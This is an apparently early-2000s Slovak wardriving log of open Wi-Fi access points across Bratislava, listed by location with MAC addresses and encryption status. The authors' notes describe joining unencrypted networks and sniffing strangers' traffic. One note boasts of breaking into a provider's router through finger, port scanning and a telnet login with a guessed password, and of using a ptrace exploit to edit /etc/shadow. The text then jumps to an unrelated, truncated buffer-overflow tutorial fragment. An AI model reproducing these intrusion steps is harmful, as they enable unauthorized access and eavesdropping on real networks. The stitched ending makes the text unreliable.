EWInchebaPristav 00:02:2d:3e:fe:95 4 agere (lucent) orinoco ap nie
ZDR 02:02:2d:4c:5f:13 10 agere (lucent) orinoco ap ano
EUnetIncheba 00:60:1d:03:63:b9 13 agere (lucent) wavelan ap nie
mat2 00:90:4b:08:0b:dc 9 gemtek (d-link) ap nie
okatnet 00:02:78:e1:b1:3a 9 samsung ap nie
EUnet Kutlikova Centrum 00:60:1d:1e:b4:f6 6 agere (lucent) wavelan ap nie
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
--------------------------------------------------------------------------------
poznamka: v hoteli danube by mohli ponukat free spojenie cez eunet kutlikova.
my sme sa na to apcko pripojili zo slavina a celkom sa pobavili, viz poznamky nizsie
lokalita: jarosova pri kukurici
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
b0de6a 00:40:96:34:85:80 4 cisco (aironet) ap nie
00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie
PMDUNION 02:d0:d8:64:00:4f 1 peer ano
--------------------------------------------------------------------------------
poznamka: tu sme cakali viac. napriklad take silne omni apcko sis-ky alebo st-cka
by zahrialo.
lokalita: kamenne namestie
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
wli_003 00:60:b3:16:31:fe 3 z-com ap nie
dunaj1 00:02:78:e0:34:9d 1 samsung ap nie
horzqu 00:02:78:e1:45:f6 10 samsung ap nie
default 00:90:4b:08:0b:c7 3 gemtek (d-link) ap ano
horsec2 00:02:78:e1:45:4c 4 samsung ap nie
--------------------------------------------------------------------------------
lokalita: ruzinovska ulica, kerametal
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie
007SOU 00:02:78:e1:d3:f0 3 samsung ap nie
CDutar 00:02:78:e2:00:04 7 samsung ap nie
009SOUAP 00:02:78:e1:ff:f1 13 samsung ap nie
sunteq2 00:90:4b:60:60:db 13 gemtek (d-link) ap nie
rainap 00:02:78:e0:34:af 3 samsung ap nie
--------------------------------------------------------------------------------
poznamka: *SOU* je zjavne miestne stredne odborne uciliste kusok od kerametalu.
rainap je zjavne mikrovlnka datalock rainside.
lokalita: koliba, pod vysielacom
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
b0de6a 00:40:96:34:85:80 4 cisco (aironet) ap nie
TECHPRAZSKA 00:90:4b:0b:22:d1 7 gemtek (d-link) ap ano
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
Backup34 00:10:e7:f5:54:07 7 breezenet ap ano
--------------------------------------------------------------------------------
lokalita: krizna, pri slovnaft pumpe
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
tsunami 00:40:96:34:85:64 6 cisco (aironet) ap nie
cyrano 00:60:b3:16:66:1d 1 z-com ap nie
chtf-kor 00:04:47:50:11:48 5 ap nie
--------------------------------------------------------------------------------
poznamka: chtf je zjavne chemicko-technologicka fakulta stu. na cyrano sme sa
napichli pri budove chtf:
eth1 IEEE 802.11-DS ESSID:"cyrano" Nickname:"HERMES I"
Mode:Managed Frequency:2.457GHz Access Point: 44:44:44:44:44:44
Bit Rate:2Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:0/92 Signal level:134/153 Noise level:134/153
Rx invalid nwid:0 Rx invalid crypt:32 Rx invalid frag:6955
Tx excessive retries:37 Invalid misc:0 Missed beacon:0
eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE
inet addr:63.112.169.6 Bcast:63.255.255.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:37984 errors:70458 dropped:0 overruns:0 frame:70457
TX packets:4495 errors:42 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:5048648 (4.8 Mb) TX bytes:625024 (610.3 Kb)
Interrupt:5 Base address:0x100
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
63.112.169.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
lokalita: krizna, hotel kyjev
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
cyrano 00:60:b3:16:66:1d 1 z-com ap nie
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
wli_003 00:60:b3:16:31:fe 3 z-com ap nie
MadNet_Manderla_Omni 00:c0:02:46:13:80 2 ap nie
--------------------------------------------------------------------------------
lokalita: lesna ulica
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
1234 00:40:96:44:31:94 10 cisco (aironet) ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
metros 00:60:b3:66:12:a5 5 z-com ap nie
metrom 00:60:b3:4f:1e:e4 12 z-com ap nie
paleo1 00:60:b3:16:63:f5 13 z-com ap nie
matrix 00:60:b3:16:63:ef 9 z-com ap nie
metror 00:60:b3:66:12:a6 8 z-com ap nie
--------------------------------------------------------------------------------
lokalita: majernikova 17, zastavka autobusu
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
WL 72:de:c0:2e:52:c3 1 peer nie
hotspot 00:90:0e:00:25:33 6 ap nie
homeoffice 00:02:2d:30:5b:60 11 agere(lucent)orinoco ap ano
sturak 02:02:2d:0e:89:97 9 agere(lucent)orinoco peer ano
12121212 22:00:e4:02:f4:02 3 peer nie
EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie
HRAD2DD 00:02:78:e1:d4:28 4 samsung ap nie
borik 00:60:b3:16:66:0a 9 z-com ap nie
DMC-BA 00:02:2d:1f:7a:13 7 agere(lucent)orinoco ap nie
-------------------------------------------------------------------------------
lokalita: matusova 17
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
DMC-BA 00:02:2d:1f:7a:13 7 agere(lucent)orinoco ap nie
CDkramareAP 00:02:78:e1:ff:f2 3 samsung ap nie
Academia 00:40:96:44:8a:ab 5 cisco (aironet) ap nie
--------------------------------------------------------------------------------
lokalita: mileticovam, pri trznici
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
CDICON02 00:60:b3:4f:1c:2a 2 z-com ap nie
Andrej Network 00:02:2d:07:c4:c9 1 agere(lucent)orinoco ap nie
postelap 00:02:78:e1:d3:bf 13 samsung ap nie
--------------------------------------------------------------------------------
lokalita: mileticova - trnavska
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie
CASABLANCA_KOV3 02:02:2d:4f:15:b2 11 agere(lucent)orinoco ap ano
cdicon 00:02:78:e1:d4:2e 8 samsung ap nie
TeleViaWireless2 00:60:1d:21:dd:a8 13 agere (lucent) wavelan ap nie
1034 00:40:96:44:2a:d3 10 cisco (aironet) ap nie
00AB 00:60:b3:4f:02:4a 7 z-com ap nie
wlanba1 00:60:b3:16:5c:d9 11 z-com ap nie
waskol 00:90:4b:0e:cd:e7 3 gemtek(d-link) ap nie
TeleViaWireless 00:60:1d:21:dc:bb 2 agere (lucent) wavelan ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
textpalkov 00:90:4b:0b:5b:f6 4 gemtek(d-link) ap ano
realnetpbly 4e:03:d5:00:e2:02 6 peer nie
sibirska 00:90:4b:0d:ce:3f 13 gemtek(d-link) ap nie
metrom 00:60:b3:4f:1e:e4 12 z-com ap nie
--------------------------------------------------------------------------------
poznamka: na wlanba1 bezalo velke mnozstvo http trafficu. akurat niekto searchoval
google. napichli sme sa na neho na parkovisku pri rozhlase. tu su sietove udaje:
eth1 IEEE 802.11-DS ESSID:"wlanba1" Nickname:"HERMES I"
Mode:Managed Frequency:2.462GHz Access Point: 00:60:B3:16:5C:D9
Bit Rate:2Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:8/92 Signal level:-90 dBm Noise level:-98 dBm
Rx invalid nwid:0 Rx invalid crypt:15 Rx invalid frag:6953
Tx excessive retries:35 Invalid misc:0 Missed beacon:0
eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE
inet addr:192.168.2.109 Bcast:192.168.2.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:37734 errors:67241 dropped:0 overruns:0 frame:67240
TX packets:4458 errors:34 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:4975543 (4.7 Mb) TX bytes:619264 (604.7 Kb)
Interrupt:5 Base address:0x100
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.2.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
lokalita: mileticova - kosicka
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
CDICON02 00:60:b3:4f:1c:2a 2 z-com ap nie
postelap 00:02:78:e1:d3:bf 13 samsung ap nie
Andrej Network 00:02:2d:07:c4:c9 1 agere(lucent)orinoco ap nie
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
milnapal 00:90:4b:0b:5b:74 9 gemtek(d-link) ap ano
textpalkov 00:90:4b:0b:5b:f6 4 gemtek(d-link) ap ano
bct 00:02:78:e1:43:e1 11 samsung ap nie
ssc-pd 00:02:78:e0:32:c9 13 samsung ap nie
00ABFF07 00:02:78:e1:d3:91 12 samsung ap nie
cdicon 00:02:78:e1:d4:2e 8 samsung ap nie
1034 00:40:96:44:2a:d3 10 cisco (aironet) ap nie
CASABLANCA_KOVTECH 02:02:2d:52:0a:32 13 agere(lucent)orinoco peer ano
00AB 00:60:b3:4f:02:4a 7 z-com ap nie
gasss 00:02:78:e0:e3:28 12 samsung ap nie
--------------------------------------------------------------------------------
lokalita: mlynska dolina pod lafranconi mostom
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
metror 00:60:b3:66:12:a6 8 z-com ap nie
DMC-BA 00:02:2d:1f:7a:13 7 agere(lucent) orinoco ap nie
--------------------------------------------------------------------------------
lokalita: most snp
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
SAVJULS 00:40:96:34:e3:1c 10 cisco (aironet) ap nie
TECHPRAZSKA 00:90:4b:0b:22:d1 7 gemtek (d-link) ap ano
EUnet Kutlikova Centrum 00:60:1d:1e:b4:f6 6 agere (lucent) wavelan ap nie
--------------------------------------------------------------------------------
poznamka: pod mostom snp sme zastali na parkovisku oproti restauracii leberfinger.
trochu sme vyplasili taku pettingujucu dvojicu vo vedlajsom zaparkovanom aute;
treba uznat ze sme vyzerali podivne a bola uz aj pozdna nocna hodina. no ale k veci,
prijemnych 256kb/s nam na pockanie dodal eunet az z dalekeho technopolu:
eth1 IEEE 802.11-DS ESSID:"EUnet Kutlikova Centrum" Nickname:"HERMES I"
Mode:Managed Frequency:2.437GHz Access Point: 00:60:1D:1E:B4:F6
Bit Rate:1Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:4/92 Signal level:-89 dBm Noise level:-93 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:32
Tx excessive retries:213 Invalid misc:0 Missed beacon:0
eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE
inet addr:194.1.174.3 Bcast:194.1.174.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:10739 errors:8628 dropped:0 overruns:0 frame:8107
TX packets:1030 errors:209 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:3698111 (3.5 Mb) TX bytes:325572 (317.9 Kb)
Interrupt:5 Base address:0x100
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
194.1.174.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
0.0.0.0 194.1.174.1 0.0.0.0 UG 0 0 0 eth1
lokalita: saratovska
zial z tejto lokality nemame zoznam sieti, sem do dubravky sme isli ako na poslednu
lokalitu cestou domov. na zastavke autobusu saratovska 2 sme sa napichli na siet
metrod:
eth1 IEEE 802.11-DS ESSID:"metrod" Nickname:"HERMES I"
Mode:Managed Frequency:2.462GHz Access Point: 00:60:B3:66:38:A4
Bit Rate:1Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:12/92 Signal level:-84 dBm Noise level:-96 dBm
Rx invalid nwid:0 Rx invalid crypt:3275 Rx invalid frag:74
Tx excessive retries:1102 Invalid misc:0 Missed beacon:0
eth1 Link encap:Ethernet HWaddr 00:02:2D:2E:BA:BE
inet addr:62.168.108.212 Bcast:62.255.255.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:31309 errors:16064 dropped:0 overruns:0 frame:15447
TX packets:6647 errors:102046 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:11998952 (11.4 Mb) TX bytes:1265135 (1.2 Mb)
Interrupt:5 Base address:0x100
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
62.168.108.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
0.0.0.0 62.168.108.210 0.0.0.0 UG 0 0 0 eth1
noo a potom nastala pekna vypapavka - root na routovacom linuxe do 2-3 minut
od prvotneho pripojenia na siet. nmap na adresu 62.168.108.209 ukazal kopec
volnych portov, takze nasledovalo:
# finger [email protected]
[62.168.108.209]
login: root
Directory: /root
Last login Wed Nov 13 01:47 (CET) on pts/1 from sky.grid.sk
No mail.
No Plan.
#finger [email protected]
Login: grid
Directory: /home/grid
Never logged in.
No mail.
No Plan.
# telnet 62.168.108.209
Connected to 62.168.108.209.
Escape character is '^]'.
Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on an i586
login: root
Password: (skusili sme heslo grid)
Login incorrect
login: grid
Password: (skusili sme heslo grid)
[grid@rep grid]$
a voila boli sme dnuka.
potom este male sondovanie...
[grid@rep mars_nwe]$ /usr/sbin/traceroute 195.168.3.1
traceroute to 195.168.3.1 (195.168.3.1), 30 hops max, 38 byte packets
1 b-b.grid.sk (62.168.120.146) 15.018 ms 11.940 ms 7.420 ms
2 k-m.grid.sk (62.168.120.177) 15.149 ms 3.867 ms 3.548 ms
3 a-s.grid.sk (62.168.120.129) 8.410 ms * 11.311 ms
[grid@rep mars_nwe]$ telnet 62.168.120.146
Trying 62.168.120.146...
telnet: Unable to connect to remote host: Connection refused
[grid@rep mars_nwe]$ telnet 62.168.120.177
Trying 62.168.120.177...
telnet: Unable to connect to remote host: Connection refused
[grid@rep mars_nwe]$ telnet 62.168.120.129
Trying 62.168.120.129...
telnet: Unable to connect to remote host: Connection refused
[grid@rep mars_nwe]$
[grid@rep mars_nwe]$ ls -al
ako uz bolo hore spomenute baterky na maniacovom notebooku dosli v
najnevhodnejsej chvili - pri editacii /etc/shadow na tomto mikrovlnnom
routri [ptrace exploit sme tahali samozrejme po luxusnom 256kbps mikrovlnnom
konekte] :) samozrejme hned sme pripli aj antoniov notebook, ale kym sa o5
dostal na ten router, tak notebook zdochol aj jemu - proste murphy sa nam
zubil do xichtu a odkazoval nam, ze o tretej rano by uz bolo nacim ist spat :)
co by ale bol hriech nespomenut je to, ze "provider" inkriminovanej wireless
siete mal na vsetkych interfejsoch pustene sniffre a poctivo logoval cely
traffic (takze ked si vyberate ISP, tak rozmyslajte aj nad tym ktoreho
si vyberiete a co mu nechate citat :) pripadne aj hocikomu okoloiducemu v
pripade ze konfiguracia mw zariadeni bola odflaknuta).
lokalita: slavin - misikova ulica
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
Technologies 00:60:b3:4f:04:cc 13 z-com ap nie
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie
bct1 00:02:78:e0:2b:07 11 samsung ap nie
dcc 00:60:b3:4f:04:da 9 z-com ap nie
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
wli_004 00:90:4b:0b:5b:9b 13 gemtek (d-link) ap nie
default 00:60:b3:10:05:a0 13 z-com peer nie
5a51ee 00:40:96:29:db:28 10 cisco (aironet) ap nie
Backup34 00:10:e7:f5:54:07 7 breezenet ap ano
postelap 00:02:78:e1:d3:bf 13 samsung ap nie
--------------------------------------------------------------------------------
lokalita: slavin
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
MadNetMediaOmni 00:c0:02:46:15:74 7 ap nie
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie
tsunami 00:40:96:34:85:64 6 cisco (aironet) ap nie
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
dunaj1 00:02:78:e0:34:9d 1 samsung ap nie
zipp 00:02:78:e1:45:46 1 samsung ap nie
Technologies 00:60:b3:4f:04:cc 13 z-com ap nie
EUnet Kutlikova Centrum 00:60:1d:1e:b4:f6 6 agere (lucent) wavelan ap nie
--------------------------------------------------------------------------------
lokalita: stara vinarska cesta
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
dcc 00:60:b3:4f:04:da 9 z-com ap nie
EUnet Kutlikova Centrum 00:60:1d:1e:b4:f6 6 agere (lucent) wavelan ap nie
dunaj1 00:02:78:e0:34:9d 1 samsung ap nie
finger 00:02:78:e1:10:36 9 samsung ap nie
SAVJULS 00:40:96:34:e3:1c 10 cisco (aironet) ap nie
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
--------------------------------------------------------------------------------
poznamky: tu sme chvilu pobudli pripojeni na "EUnet Kutlikova Centrum". na sieti
bola cula prevadzka, tu su parametre pripojenia:
eth1 IEEE 802.11-DS ESSID:"EUnet Kutlikova Centrum" Nickname:"HERMES I"
Mode:Managed Frequency:2.437GHz Access Point: 00:60:1D:1E:B4:F6
Bit Rate:1Mb/s Tx-Power=15 dBm Sensitivity:1/3
Retry limit:4 RTS thr:off Fragment thr:off
Power Management:off
Link Quality:3/92 Signal level:-88 dBm Noise level:-92 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:22
Tx excessive retries:117 Invalid misc:0 Missed beacon:0
eth1 Link encap:UNSPEC HWaddr 00-02-2D-2E-BA-BE
inet addr:194.1.174.5 Bcast:194.1.174.255 Mask:255.255.255.0
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:6605 errors:2660 dropped:0 overruns:0 frame:2660
TX packets:893 errors:205760 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:3649690 (3.4 Mb) TX bytes:153056 (149.4 Kb)
Interrupt:5 Base address:0x100
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
194.1.174.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1
127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo
0.0.0.0 194.1.174.1 0.0.0.0 UG 0 0 0 eth1
za poznamku tiez stoji ze sa dal sniffovat dost culy traffic, dokonca sme spoznali
irc traffic jedneho znameho. pripadali sme si ako keby sme vkracali do serverovne
eunetu a strcili si kabel do nejakeho velkeho hubu...
lokalita: namestie snp
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
dunaj1 00:02:78:e0:34:9d 1 samsung ap nie
hozsvor 00:02:78:e0:34:bc 7 samsung ap nie
horsec2 00:02:78:e1:45:4c 4 samsung ap nie
My Wireless Network A 00:02:2d:51:06:e1 3 agere (lucent) orinoco ap nie
wli_001 00:60:b3:16:1b:35 11 z-com ap nie
wli_003 00:60:b3:16:31:fe 3 z-com ap nie
horzqu 00:02:78:e1:45:f6 10 samsung ap nie
--------------------------------------------------------------------------------
lokalita: tomasikova - nevadzova, pri televizii luna
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
lunar 00:90:4b:08:0c:9f 7 gemtek (d-link) ap ano
CDutar 00:02:78:e2:00:04 7 samsung ap nie
-------------------------------------------------------------------------------
lokalita: petrzka - pred tpd
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
vrakuna-imc 00:02:78:e1:d3:ff 12 samsung ap nie
EWInchebaPristav 00:02:2d:3e:fe:95 4 agere (lucent) orinoco ap nie
tpd-ap 00:02:78:e1:ff:f4 13 samsung ap nie
--------------------------------------------------------------------------------
poznamka: vonku pred obchodnym domom tpd bol super signal na siet tpd-ap. behalo
tam viacero sieti:
192.168.x.x
195.168.3.2 [rovnake data ako na kolibe]
10.x.x.x siet
lokalita: pionierska
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
metro 00:40:96:24:bf:f3 7 cisco (aironet) ap nie
sibirska 00:90:4b:0d:ce:3f 13 gemtek(d-link) ap nie
TeleViaWireless2 00:60:1d:21:dd:a8 13 agere (lucent) wavelan ap nie
TeleViaWireless 00:60:1d:21:dc:bb 2 agere (lucent) wavelan ap nie
cdicon 00:02:78:e1:d4:2e 8 samsung ap nie
tsunami 00:40:96:34:85:64 6 cisco (aironet) ap nie
blabla 00:60:b3:16:84:cf 3 z-com ap nie
--------------------------------------------------------------------------------
lokalita: parkovisko na streche polusu
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
racsz 02:02:65:3b:6c:3b 3 peer nie
istro1 00:02:78:e0:34:86 7 samsung ap nie
b0de6a 00:40:96:38:3f:02 4 cisco (aironet) ap nie
ssek-tr 00:02:78:e0:33:6f 12 samsung ap nie
--------------------------------------------------------------------------------
lokalita: parkovisko na streche polusu - blizsie k administrativnej budove
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
tomas0 00:02:78:e2:00:31 8 samsung ap nie
racsz 02:02:65:3b:6c:3b 3 peer nie
ssek-tr 00:02:78:e0:33:6f 12 samsung ap nie
tomas1 00:02:78:e1:44:17 9 samsung ap nie
--------------------------------------------------------------------------------
poznamka: nooo cakali sme wlanku ibm alebo eurotelu :(
lokalita: prazska ulica
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
00AB 00:60:b3:4f:02:4a 7 z-com ap nie
PRAVA 00:90:4b:08:0b:d6 11 gemtek (d-link) ap nie
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
1234 00:40:96:44:31:94 10 cisco (aironet) ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
5a51ee 00:40:96:29:db:28 10 cisco (aironet) ap nie
--------------------------------------------------------------------------------
lokalita: prievozska - bajkalska
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
CDutar 00:02:78:e2:00:04 7 samsung ap nie
grtostav 00:90:4b:0b:5c:47 11 gemtek (d-link) ap ano
txgrtobaj 00:90:4b:0b:5c:14 6 gemtek (d-link) ap ano
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
horzqu 00:02:78:e1:45:f6 10 samsung ap nie
zse3 00:02:78:e0:b3:d1 3 samsung ap nie
EuroWeb Bajkalska Centrum 00:60:1d:f0:b6:76 1 agere(lucent) wavelan ap nie
EuroWeb Bajkalska East 00:60:1d:f6:7b:72 12 agere(lucent) wavelan ap nie
EuroWeb Bajkalska Omni 00:60:1d:04:06:4f 1 agere(lucent) wavelan ap nie
EWInchebaPristav 00:02:2d:3e:fe:95 4 agere(lucent) orinoco ap nie
--------------------------------------------------------------------------------
lokalita: prievozska - business centrum
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
grtostav 00:90:4b:0b:5c:47 11 gemtek (d-link) ap ano
ANY 00:02:2d:00:82:d0 7 agere(lucent) orinoco ap nie
bct 00:02:78:e1:43:e1
zse3 00:02:78:e0:b3:d1 3 samsung ap nie
txgrtobaj 00:90:4b:0b:5c:14 6 gemtek (d-link) ap ano
txgrtomil 00:90:4b:0b:5b:ea 4 gemtek (d-link) ap ano
--------------------------------------------------------------------------------
lokalita: majernikova - pribisova
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
sturak 02:02:2d:0e:89:97 9 agere(lucent)orinoco peer ano
EUnet STV Omni 00:60:1d:f6:7c:2d 9 agere (lucent) wavelan ap nie
vran 00:90:4b:0b:5c:a5 6 gemtek (d-link) ap ano
freeehr 00:02:78:e0:34:ba 8 samsung ap nie
borik 00:60:b3:16:66:0a 9 z-com ap nie
WL 72:de:c0:2e:52:c3 1 peer nie
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
hradport4 00:02:78:e1:d3:a9 12 samsung ap nie
PRIFUKAP 00:02:78:e0:b3:90 5 samsung ap nie
18181818 a6:01:7d:00:94:03 11 peer nie
zad-mat 00:02:78:e1:d3:b5 2 samsung ap nie
EUnet Petrzalka East 00:02:2d:09:1b:1b 1 agere(lucent)orinoco ap nie
freee 00:02:78:e0:34:21 2 samsung ap nie
vran2 00:90:4b:08:0b:c0 1 gemtek (d-link) ap ano
imc-mat-ap 00:02:78:e1:d3:b6 7 samsung ap nie
mat3 00:90:4b:08:0c:81 11 gemtek (d-link) ap nie
12121212 22:00:e4:02:f4:02 3 peer nie
martineg 00:02:78:e1:10:23 1 samsung ap nie
HRAD2DD 00:02:78:e1:d4:28 4 samsung ap nie
OrinocoAP 00:02:2d:2c:ea:59 7 agere(lucent)orinoco ap nie
--------------------------------------------------------------------------------
lokalita: stary most
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
horsec2 00:02:78:e1:45:4c 4 samsung ap nie
EWInchebaPristav 00:02:2d:3e:fe:95 4 agere(lucent) orinoco ap nie
5022 00:40:96:3a:54:07 13 cisco (aironet) ap nie
dcc 00:60:b3:4f:04:da 9 z-com ap nie
SAVJULS 00:40:96:34:e3:1c 10 cisco (aironet) ap nie
hrad 00:02:78:e1:45:21 1 samsung ap nie
zse3 00:02:78:e0:b3:d1 3 samsung ap nie
vrakuna-imc 00:02:78:e1:d3:ff 12 samsung ap nie
6044 00:40:96:56:f7:20 13 cisco (aironet) ap nie
mat1 00:90:4b:08:0c:70 6 gemtek (d-link) ap nie
--------------------------------------------------------------------------------
lokalita: stromova - pri siemense
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
WaveLAN Network 00:02:a5:2d:a2:d9 10 ap ano
Inoteska 02:90:87:c7:b5:bd 9 peer nie
--------------------------------------------------------------------------------
lokalita: teslova
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
govline 00:02:78:e0:34:82 6 samsung ap nie
norton_home 00:02:2d:0c:fa:fb 11 agere (lucent) orinoco ap ano
tomas0 00:02:78:e2:00:31 8 samsung ap nie
--------------------------------------------------------------------------------
lokalita: tomasikova - drienova
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
tomas1 00:02:78:e1:44:17 9 samsung ap nie
metrom 00:60:b3:4f:1e:e4 12 z-com ap nie
txgrtobaj 00:90:4b:0b:5c:14 6 gemtek (d-link) ap ano
ANECT_BA-SSID#1 00:0a:8a:5f:33:50 7 ap ano
--------------------------------------------------------------------------------
lokalita: tomasikova - vajnorska
meno mac adresa kanal vendor typ krypt
--------------------------------------------------------------------------------
tomas1 00:02:78:e1:44:17 9 samsung ap nie
tomas0 00:02:78:e2:00:31 8 samsung ap nie
tercoplast 02:90:c3:57:a5:87 1 peer ano
racsz 02:02:65:3b:6c:3b 3 peer nie
milnapal 00:90:4b:0b:5b:74 9 gemtek (d-link) ap ano
--------------------------------------------------------------------------------
maniac, maniac @hysteria.sk
pajka, pajkus @hysteria.sk
co ty na to ? board
bezpecne programovanie pod unixom
Dump of assembler code for function main:
0x80483e4
/pr.0x3.1/
#include
Textovy region je read-only zdielany (mmapovane) vsetkymi procesmi spustajucimi subor.
Pokus o zapis do tohto regionu sa prejavi vyjimkou porusenim segmentacie
(segmentation violation). Toto je rozdiel oproti datovej a stack oblasti,
ktore su zapisovatelne a su samostatne pre kazdy proces.
0xFFF00000 +-------------------------------+
(vysoke adresy) | zasobnik jadra pre procesy |
+-------------------------------+
| cervena zona |
+-------------------------------+
| uzivatelska oblast |
+-------------------------------+
| ps_retazce struktura |
+-------------------------------+
| signalizacny kod |
+-------------------------------+ - -
| premenne prostredia |
+-------------------------------+
| argv retazce |
+-------------------------------+
| pointre prostredia | argumenty prikazoveho riadku
+-------------------------------+ a premenne shellu
| argv pointre | /
+-------------------------------+ /
| argc | /
+-------------------------------+ - -
| uzivatelsky zasobnik |
| | |
| V |
| |
| |
| |
| ^ |
| | |
| kopa (heap) |
+-------------------------------+ +-----------------------+
| bss | | tabulka znakov |
+-------------------------------+ - - - - - - - +-----------------------+
| inicializovane data | | inicializovane data |
+-------------------------------+ - - - - - - - +-----------------------+
0x00000000 | text | | text |
(nizke adresy) +-------------------------------+ - - - - - - - +-----------------------+
proces v pamati | |
| hlavicka linkeru |
| a magicke cislo |
| |
+-----------------------+
subor na disku.
/pr.0x4.1/
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
V assembleri bude ekvivalent volania function() horeuvedenej funkcie nasledovny:
/pr.0x4.2/
pushl $3 ; uloz argument 3 pre function()
